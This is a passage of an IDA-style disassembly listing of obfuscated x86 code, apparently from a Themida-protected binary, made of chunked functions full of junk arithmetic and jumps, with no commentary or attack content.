shr edx, 1
xor edx, 0B4F21B1Eh
jmp loc_59EB92
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599C7B: ; CODE XREF: sub_59390B+BFFCj
push 4A8Bh
mov [esp+8+var_8], ecx
push [esp+8+var_4]
pop ecx
jmp loc_597919
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_599C8D: ; CODE XREF: sub_59FCCB-1DE6j
push edx
mov dh, 0F9h
push eax
jmp loc_5A336E
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_599C96: ; CODE XREF: Themida_:0059A651j
pop eax
jmp loc_5A4AB3
; ---------------------------------------------------------------------------
loc_599C9C: ; CODE XREF: Themida_:005A4DDDj
mov [esp], esp
jmp loc_59A490
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F401
loc_599CA4: ; CODE XREF: sub_59F401+A9Fj
pop esi
jmp sub_59D1FC
; END OF FUNCTION CHUNK FOR sub_59F401
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59605F
loc_599CAA: ; CODE XREF: sub_59605F+9F0Aj
pop esp
xor [edx+30h], esi
push [esp-4+arg_0]
pop esi
add esp, 4
add dword ptr [edx+30h], 0FFFFFFFFh
inc dword ptr [edx+30h]
sub dword ptr [edx+30h], 29D40348h
popa
popf
retn
; END OF FUNCTION CHUNK FOR sub_59605F
; ---------------------------------------------------------------------------
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_599CD1: ; CODE XREF: sub_59338E+2538j
add edx, 4
xchg edx, [esp+0]
jmp loc_5A21D3
; END OF FUNCTION CHUNK FOR sub_59338E
; ---------------------------------------------------------------------------
xor [esp], di
xor di, [esp]
xor [esp], di
xor di, cx
xor cx, di
xor di, cx
sub esp, 2
mov [esp], cx
push si
pop cx
mov si, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 2
push ebx
jmp loc_59376E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599D15: ; CODE XREF: sub_59390B-1420j
neg ebp
dec ebp
xor ebp, 0FD53D528h
add ecx, ebp
mov ebp, [esp-0Ch+arg_4]
add esp, 4
sub ecx, 4
xchg ecx, [esp-10h+arg_8]
mov esp, [esp-10h+arg_8]
jmp loc_5996EC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599D3A: ; CODE XREF: Themida_:0059CD8Cj
add edx, eax
pop eax
jmp loc_59D41B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599D42: ; CODE XREF: sub_59390B+1A4j
push cx
mov cl, 0EAh
add bl, cl
mov cx, word ptr [esp-0Ah+arg_0+2]
add esp, 2
pop cx
jmp loc_59A94D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599D56: ; CODE XREF: Themida_:00593582j
pop edx
jmp loc_59B46A
; ---------------------------------------------------------------------------
mov ax, [esp]
push 6A18h
jmp loc_5A4DD5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599D6A: ; CODE XREF: sub_59390B+BF6Cj
mov [esp-10h+arg_8], ebx
push [esp-10h+arg_8]
pop eax
push ebx
mov ebx, esp
push ebp
jmp loc_590DFA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595949
loc_599D7A: ; CODE XREF: sub_595949+A680j
mov [esp+0], ebx
push ecx
sub esp, 4
mov [esp+8+var_8], ebx
mov bh, dl
mov ch, bh
mov ebx, [esp+8+var_8]
add esp, 4
mov bl, ch
pop ecx
push 1270h
mov [esp+4+var_4], ecx
mov ch, bl
push 2D05h
mov [esp+8+var_8], edx
jmp loc_599B63
; END OF FUNCTION CHUNK FOR sub_595949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599DA8: ; CODE XREF: sub_59390B+C57Cj
mov esi, [esp-8+arg_0]
add esp, 4
push ecx
push [esp-8+arg_4]
pop ecx
pop [esp-8+arg_0]
pop esp
dec byte ptr [esp-10h+arg_8]
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599DC1: ; CODE XREF: Themida_:005A33EFj
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_59BF09
; ---------------------------------------------------------------------------
loc_599DDA: ; CODE XREF: Themida_:0059CFEAj
push eax
jmp loc_5916EA
; ---------------------------------------------------------------------------
loc_599DE0: ; CODE XREF: Themida_:005A3369j
pop ebx
sub esp, 4
mov [esp], edi
push esp
pop edi
push ebp
mov ebp, 4
add edi, ebp
pop ebp
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
sub esp, 4
mov [esp], eax
jmp loc_59C3A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599E0A: ; CODE XREF: sub_59390B+5E8Aj
pop esp
jmp loc_59F538
; ---------------------------------------------------------------------------
loc_599E10: ; CODE XREF: sub_59390B+9CAj
mov [esp+14h+var_14], edi
mov edi, 2E13316Eh
jmp loc_594503
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599E1D: ; CODE XREF: Themida_:005A4B5Fj
not esi
jmp loc_596A90
; ---------------------------------------------------------------------------
loc_599E24: ; CODE XREF: Themida_:005958AFj
push esp
jmp loc_59E2FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599E2A: ; CODE XREF: sub_59390B+D35Fj
add esi, edi
jmp loc_59F9CD
; ---------------------------------------------------------------------------
loc_599E31: ; CODE XREF: sub_59390B+1AE1j
sub al, 12h
push ebx
mov bh, 43h
add al, bh
pop ebx
add al, 0Ah
sub al, dl
sub al, 0Ah
push edx
mov dl, 0ACh
jmp loc_59E1C2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599E47: ; CODE XREF: Themida_:005A2743j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
xor edx, [esp]
xor [esp], edx
jmp loc_59A219
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_599E62: ; CODE XREF: sub_594D13+16Fj
push edi
push [esp+arg_0]
pop edi
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
mov cx, word ptr [esp-4+arg_0]
push 0E00h
mov [esp+0], ebx
mov ebx, esp
add ebx, 4
push 0F63h
jmp loc_5A0925
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2552
loc_599E8C: ; CODE XREF: sub_5A2552-51B4j
push 2E8Ch
jmp loc_59380C
; END OF FUNCTION CHUNK FOR sub_5A2552
; ---------------------------------------------------------------------------
loc_599E96: ; CODE XREF: Themida_:00595D1Ej
xor [esp], edi
jmp loc_592BB5
; ---------------------------------------------------------------------------
loc_599E9E: ; CODE XREF: Themida_:00599363j
push ebp
mov ebp, 30B5A1Bh
jmp loc_59D9AA
; ---------------------------------------------------------------------------
loc_599EA9: ; CODE XREF: Themida_:005A515Ej
neg dl
not dl
add dl, 0DAh
add al, dl
pop edx
mov ch, al
jmp loc_593672
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_599EBA: ; CODE XREF: sub_59654E+8C2j
add [esp+4+var_4], 4
jmp loc_59DC04
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
loc_599EC6: ; CODE XREF: Themida_:005A477Cj
xor ecx, 0FFFF0D7Dh
jmp loc_5943E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599ED1: ; CODE XREF: sub_59390B-28Ej
pop ecx
add bl, al
sub esp, 2
jmp loc_595B08
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599EDC: ; CODE XREF: Themida_:005A42B4j
mov edx, esp
add edx, 4
add edx, 4
jmp loc_59DB7D
; ---------------------------------------------------------------------------
loc_599EEC: ; CODE XREF: Themida_:00598BE0j
sub esp, 4
mov [esp], ebp
push 6B4Ah
mov [esp], esp
jmp loc_591D98
; ---------------------------------------------------------------------------
loc_599F02: ; CODE XREF: Themida_:0059FF2Cj
sub eax, 77D86333h
add eax, ebx
add eax, 77D86333h
push 5345h
mov [esp], esi
mov esi, 2AE14CADh
jmp loc_59DE73
; ---------------------------------------------------------------------------
loc_599F20: ; CODE XREF: Themida_:0059AB6Cj
pop eax
pop dword ptr [esp]
jmp loc_59920E
; ---------------------------------------------------------------------------
loc_599F29: ; CODE XREF: Themida_:005A3653j
pop esp
or esi, edi
pop edi
add esi, 9606824Bh
jmp loc_5961F0
; =============== S U B R O U T I N E =======================================
sub_599F38 proc near ; CODE XREF: sub_5A1A6C+4j
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 00591313 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005953F1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059693A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005988E7 SIZE 0000004A BYTES
; FUNCTION CHUNK AT 0059CEDE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CF97 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F40C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A57CB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5B33 SIZE 00000010 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
jmp loc_59693A
sub_599F38 endp
; =============== S U B R O U T I N E =======================================
sub_599F46 proc near ; CODE XREF: sub_59390B+545Dj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059D591 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A121E SIZE 00000010 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, esp
add ebp, 4
jmp loc_59D591
sub_599F46 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599F5C: ; CODE XREF: sub_59390B+DFF7j
pop ecx
push edi
jmp loc_5A4287
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599F63: ; CODE XREF: Themida_:0059EEFCj
add esi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_5A4A35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599F70: ; CODE XREF: sub_59390B+C24j
xor eax, ecx
push 88Dh
mov [esp+0Ch+var_C], eax
xchg edx, [esp+0Ch+var_C]
xor edx, esi
xor esi, edx
xor edx, esi
push esi
push ebx
jmp loc_5A10B7
; ---------------------------------------------------------------------------
loc_599F8A: ; CODE XREF: sub_59390B-1211j
add ecx, eax
pop eax
sub ecx, 4
xchg ecx, [esp-18h+arg_10]
pop esp
jmp loc_597A88
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599F9C: ; CODE XREF: Themida_:00594FEDj
pop esp
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_59CF86
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599FB4: ; CODE XREF: sub_59390B+2D6Fj
mov bl, 0C6h
mov dl, bl
jmp loc_5953EB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599FBD: ; CODE XREF: Themida_:005938BAj
add ebx, 0E1C7598Dh
and eax, ebx
pop ebx
push eax
not dword ptr [esp]
pop eax
neg eax
push ecx
mov ecx, 72151C9Bh
jmp loc_594C31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599FD8: ; CODE XREF: sub_59390B-26D1j
mov esp, [esp+4+var_4]
add ebx, 35775748h
push esi
mov esi, 7E762E00h
shl esi, 2
shr esi, 2
sub esi, 7BF67205h
inc esi
add esi, 748A4B6Ch
sub ebx, esi
pop esi
add ebx, 63BE7B53h
sub ebx, eax
sub ebx, 63BE7B53h
add ebx, 370A0768h
sub ebx, 35775748h
push 368Bh
jmp loc_5A50F1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A021: ; CODE XREF: Themida_:0059CE1Cj
sub edi, esi
jmp loc_598667
; ---------------------------------------------------------------------------
loc_59A028: ; CODE XREF: Themida_:005A3DCFj
sub esp, 4
mov [esp], eax
mov al, cl
mov dh, al
pop eax
mov ah, dh
pop edx
pop ecx
jmp loc_59628A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_59A03F: ; CODE XREF: sub_5A51EA-3A5Cj
add cl, 1
jmp loc_5A4692
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
loc_59A047: ; CODE XREF: Themida_:0059FAE3j
pop esi
jmp loc_59A746
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591745
loc_59A04D: ; CODE XREF: sub_591745+16j
pop ecx
add eax, edx
pop edx
sub eax, 4
xchg eax, [esp+0]
mov esp, [esp+0]
mov [esp+0], ebp
mov ebp, 682959D1h
or ebp, 396801E5h
shl ebp, 3
jmp loc_5A1A82
; END OF FUNCTION CHUNK FOR sub_591745
; =============== S U B R O U T I N E =======================================
sub_59A072 proc near ; CODE XREF: sub_59390B+F3A3j
var_4 = dword ptr -4
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 005995B5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A1E47 SIZE 00000005 BYTES
sub esp, 4
mov [esp+0], edi
not dword ptr [esp+0]
pop edi
push edi
push [esp-8+arg_8]
pop edi
pop dword ptr [esp+0]
push [esp-0Ch+arg_8]
pop esi
add esp, 4
push edi
mov edi, 42A65C68h
push ebp
mov ebp, 486636B3h
add esi, ebp
jmp loc_5995B5
sub_59A072 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59A0A5: ; CODE XREF: Themida_:005A5152j
push ebp
push 4098h
mov [esp], eax
mov eax, 7B126E37h
or eax, 325475EDh
jmp loc_5959AA
; ---------------------------------------------------------------------------
loc_59A0BD: ; CODE XREF: Themida_:005A1585j
or dh, 0DFh
xor dh, 60h
xor al, dh
push dword ptr [esp]
pop edx
push 491Bh
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_595983
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A0DE: ; CODE XREF: sub_59390B+A519j
dec edx
add edx, 41F97F89h
push edi
jmp loc_594DFC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59A0EB: ; CODE XREF: sub_59A431+46B3j
xor ebx, ecx
pop ecx
push ebx
mov ebx, 6BBA4DC3h
neg ebx
xor ebx, 0AB05DB10h
sub esi, ebx
pop ebx
add esi, ebx
add esi, 3F40692Dh
pop ebx
push ebx
mov ebx, esp
jmp loc_5A5A79
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_59A110: ; CODE XREF: Themida_:00597A18j
push ebp
jmp loc_597C58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59A116: ; CODE XREF: sub_59A431+B658j
mov [esp+0Ch+var_C], ecx
jmp loc_599BF6
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_59A11E: ; CODE XREF: Themida_:00599C2Ej
push ecx
mov ecx, 4E720295h
xor ecx, 0F777441h
jmp loc_5A1735
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DD1C
loc_59A12F: ; CODE XREF: sub_59DD1C+4D39j
mov ebx, 269F79E4h
sub ebx, 128E2EE2h
add ebx, 3373F118h
mov ecx, ebx
pop ebx
add esi, ecx
jmp loc_5975F4
; END OF FUNCTION CHUNK FOR sub_59DD1C
; ---------------------------------------------------------------------------
loc_59A14A: ; CODE XREF: Themida_:005A2119j
add dl, 4Eh
sub dl, 0Ah
add al, dl
pop edx
push small 4A20h
mov [esp], cx
jmp loc_59A31F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A113A
loc_59A160: ; CODE XREF: sub_5A113A-F770j
pop esi
jmp loc_5A3540
; END OF FUNCTION CHUNK FOR sub_5A113A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A166: ; CODE XREF: sub_59390B+55BEj
sub edx, 28C834CEh
sub esp, 4
mov [esp+0], ebx
jmp loc_5944EC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3EFB
loc_59A17A: ; CODE XREF: sub_5A3EFB-105F5j
xor ebp, 28037887h
mov edx, ebp
jmp loc_59988E
; END OF FUNCTION CHUNK FOR sub_5A3EFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594DA8
loc_59A187: ; CODE XREF: sub_594DA8+3j
mov [esp+4+var_4], esi
push esp
pop esi
add esi, 4
push ebx
mov ebx, 4
jmp loc_59E237
; END OF FUNCTION CHUNK FOR sub_594DA8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A19D: ; CODE XREF: sub_59390B+F71Fj
pop edx
jmp loc_59D813
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59A1A3 proc near ; DATA XREF: Themida_:005909A0o
mov ax, [esp+0]
jmp sub_5A2FE9
sub_59A1A3 endp
; ---------------------------------------------------------------------------
loc_59A1AC: ; CODE XREF: Themida_:005991E3j
push edx
mov edx, esp
jmp loc_592F72
; ---------------------------------------------------------------------------
loc_59A1B4: ; CODE XREF: Themida_:00597226j
not ecx
not ecx
neg ecx
add ecx, 5396747Eh
jmp loc_5A3EB2
; ---------------------------------------------------------------------------
loc_59A1C5: ; CODE XREF: Themida_:00591C64j
xor eax, edi
push dword ptr [esp]
jmp loc_598040
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59A1CF: ; CODE XREF: sub_59FD45-97FCj
pop esp
jmp loc_5A4490
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_59A1D5: ; CODE XREF: sub_59E918-3422j
pop cx
jmp loc_59D6BF
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_59A1DC: ; CODE XREF: sub_59D1FC-2E44j
sub edi, 4
push edi
push [esp+arg_0]
pop edi
pop dword ptr [esp+0]
pop esp
mov [esp+0], eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp-4+arg_0]
jmp loc_5A4024
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_59A203: ; CODE XREF: sub_599AE1+A13Dj
add esp, 4
push eax
push eax
push edx
mov edx, esp
jmp loc_59EC7C
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A213: ; CODE XREF: sub_59390B+199j
pop edi
jmp loc_597906
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A219: ; CODE XREF: Themida_:00599E5Dj
xor edx, [esp]
jmp loc_59D46F
; ---------------------------------------------------------------------------
loc_59A221: ; CODE XREF: Themida_:0059F006j
pop edi
pop eax
sub ebp, 3E96217Ah
sub ebp, 54D019C4h
sub ebp, esi
add ebp, 54D019C4h
push edx
mov edx, 3E96217Ah
add ebp, edx
pop edx
mov esi, [esp]
add esp, 4
add edi, 2B214FE0h
add edi, ebp
sub edi, 2B214FE0h
pop ebp
jmp loc_593957
; =============== S U B R O U T I N E =======================================
sub_59A25D proc near ; CODE XREF: sub_592586+41F3j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00593551 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00596B4A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005983BE SIZE 00000005 BYTES
push ebp
sub esp, 4
mov [esp+8+var_8], esp
push ebp
mov ebp, 4
sub [esp+0Ch+var_8], 4DFB4086h
add [esp+0Ch+var_8], ebp
add [esp+0Ch+var_8], 4DFB4086h
pop ebp
pop ebp
add ebp, 4
push esi
mov esi, 4
jmp loc_596B4A
sub_59A25D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A294: ; CODE XREF: sub_59390B+EF66j
push esp
pop edx
jmp loc_597B1B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A29B: ; CODE XREF: Themida_:00590C84j
add eax, ebp
pop ebp
add eax, 719F0A68h
add eax, ebx
sub eax, 719F0A68h
sub esp, 4
mov [esp], ebx
push edi
mov edi, 65DB1A1Ch
push ebp
mov ebp, 9FEA7AFFh
mov ebx, ebp
mov ebp, [esp]
add esp, 4
sub ebx, 18B117FBh
sub ebx, edi
add ebx, 18B117FBh
pop edi
jmp loc_591C79
; ---------------------------------------------------------------------------
loc_59A2DB: ; CODE XREF: Themida_:0059A948j
pop ecx
add ecx, 3BFA298Ah
xor ecx, 5C617006h
jmp loc_597428
; ---------------------------------------------------------------------------
loc_59A2ED: ; CODE XREF: Themida_:00594BA5j
xor eax, 6525C314h
xor edi, eax
jmp loc_59C9B3
; ---------------------------------------------------------------------------
loc_59A2F9: ; CODE XREF: Themida_:005A4204j
pop edx
not ebx
push eax
jmp loc_5A17F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A302: ; CODE XREF: sub_59390B+6F36j
pop [esp-0Ch+arg_4]
push edx
mov edx, 4
add [esp-0Ch+arg_8], edx
push [esp-0Ch+arg_4]
pop edx
add esp, 4
push [esp-10h+arg_8]
pop ebx
jmp sub_598DC3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59A31F: ; CODE XREF: Themida_:0059A15Bj
mov ch, 16h
push ebx
mov bl, 91h
add bl, 73h
xor bl, 0A7h
sub bl, 0A4h
sub ch, bl
jmp loc_5993C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F2FC
loc_59A334: ; CODE XREF: sub_59F2FC-464Ej
mov [esp+8+var_8], ebx
mov ebx, 3A4611E1h
xor ebx, 424D1B25h
xor ebx, 696D2EFDh
and ebx, 7D2A4947h
shl ebx, 4
sub esp, 4
mov [esp+0Ch+var_C], ecx
sub esp, 4
jmp loc_592844
; END OF FUNCTION CHUNK FOR sub_59F2FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59A35F: ; CODE XREF: sub_59A75E+1E4Dj
mov esi, [esp+2+var_4+2]
push edi
mov edi, esp
push eax
push ecx
mov ecx, 58CC352Fh
add ecx, 3E444E54h
sub ecx, 6929620Eh
mov eax, ecx
pop ecx
sub eax, 3F4A0C82h
add eax, 1162EB11h
add edi, eax
jmp loc_59C0EA
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59A38C: ; CODE XREF: sub_59390B+D316j
add esp, 4
push edx
mov edx, ebx
mov eax, edx
pop edx
pop ebx
push esi
jmp loc_591415
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_59A39C: ; CODE XREF: sub_59D1FC+56F5j
pop esp
xor eax, ebp
pop ebp
push 2EEBh
mov [esp+0], esi
push 6EC2h
mov [esp-4+arg_0], edi
mov edi, esp
add edi, 4
jmp loc_59A1DC
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
loc_59A3BD: ; CODE XREF: Themida_:005A3D4Dj
pop ecx
sub ebp, 0AA051F66h
jmp loc_5A5B59
; ---------------------------------------------------------------------------
loc_59A3C9: ; CODE XREF: Themida_:005A23ABj
add eax, 33BA1A04h
xor eax, 6645687Bh
sub eax, 0C51A9274h
jmp loc_59EB33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_59A3DD: ; CODE XREF: sub_594A8D+3411j
xor esi, 3A39FDFCh
jmp loc_59D1BE
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
loc_59A3E8: ; CODE XREF: Themida_:005A296Fj
push 7AA4h
mov [esp], ecx
jmp loc_593CC2
; ---------------------------------------------------------------------------
loc_59A3F5: ; CODE XREF: Themida_:00598C34j
not esi
sub esi, 11B27E3Ch
jmp loc_59AA34
; ---------------------------------------------------------------------------
loc_59A402: ; CODE XREF: Themida_:005918C7j
mov eax, [esp]
add esp, 4
xor dl, 0B8h
push ebx
mov bh, 6Ch
and dl, bh
pop ebx
sub esp, 4
jmp loc_592564
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_59A41F: ; CODE XREF: sub_5A23FB+Fj
mov ebp, 7023798Bh
sub ebp, 612027D9h
xor ebx, ebp
jmp loc_599B5D
; END OF FUNCTION CHUNK FOR sub_5A23FB
; =============== S U B R O U T I N E =======================================
sub_59A431 proc near ; CODE XREF: sub_59F121+459Ej
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00590E43 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00591422 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00591465 SIZE 00000056 BYTES
; FUNCTION CHUNK AT 00592D66 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005932CC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059385A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594543 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005949B8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595588 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059561D SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005957B2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059705C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005972DD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00599019 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00599BF6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059A0EB SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059A116 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A8AC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059ABBE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059ACF3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059AE1A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059CB89 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059D4A6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059D694 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059DC0C SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059EADF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F012 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059F348 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FC24 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A0D78 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0E54 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A0FB2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A137C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A19CB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A22ED SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A2876 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2F9A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A2FFD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3C84 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A5A79 SIZE 00000015 BYTES
push ebp
mov ebp, 1280390h
shl ebp, 7
jmp loc_59F348
sub_59A431 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59A43F: ; CODE XREF: Themida_:005A216Dj
pop esp
xchg edi, [esp]
mov esp, [esp]
push 3030h
jmp loc_59F9E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_59A450: ; CODE XREF: sub_5A0733-445j
or eax, edi
pop edi
shl eax, 1
push 47EAh
jmp loc_59AC48
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
loc_59A45F: ; CODE XREF: Themida_:0059D625j
add eax, edi
jmp loc_5A593C
; ---------------------------------------------------------------------------
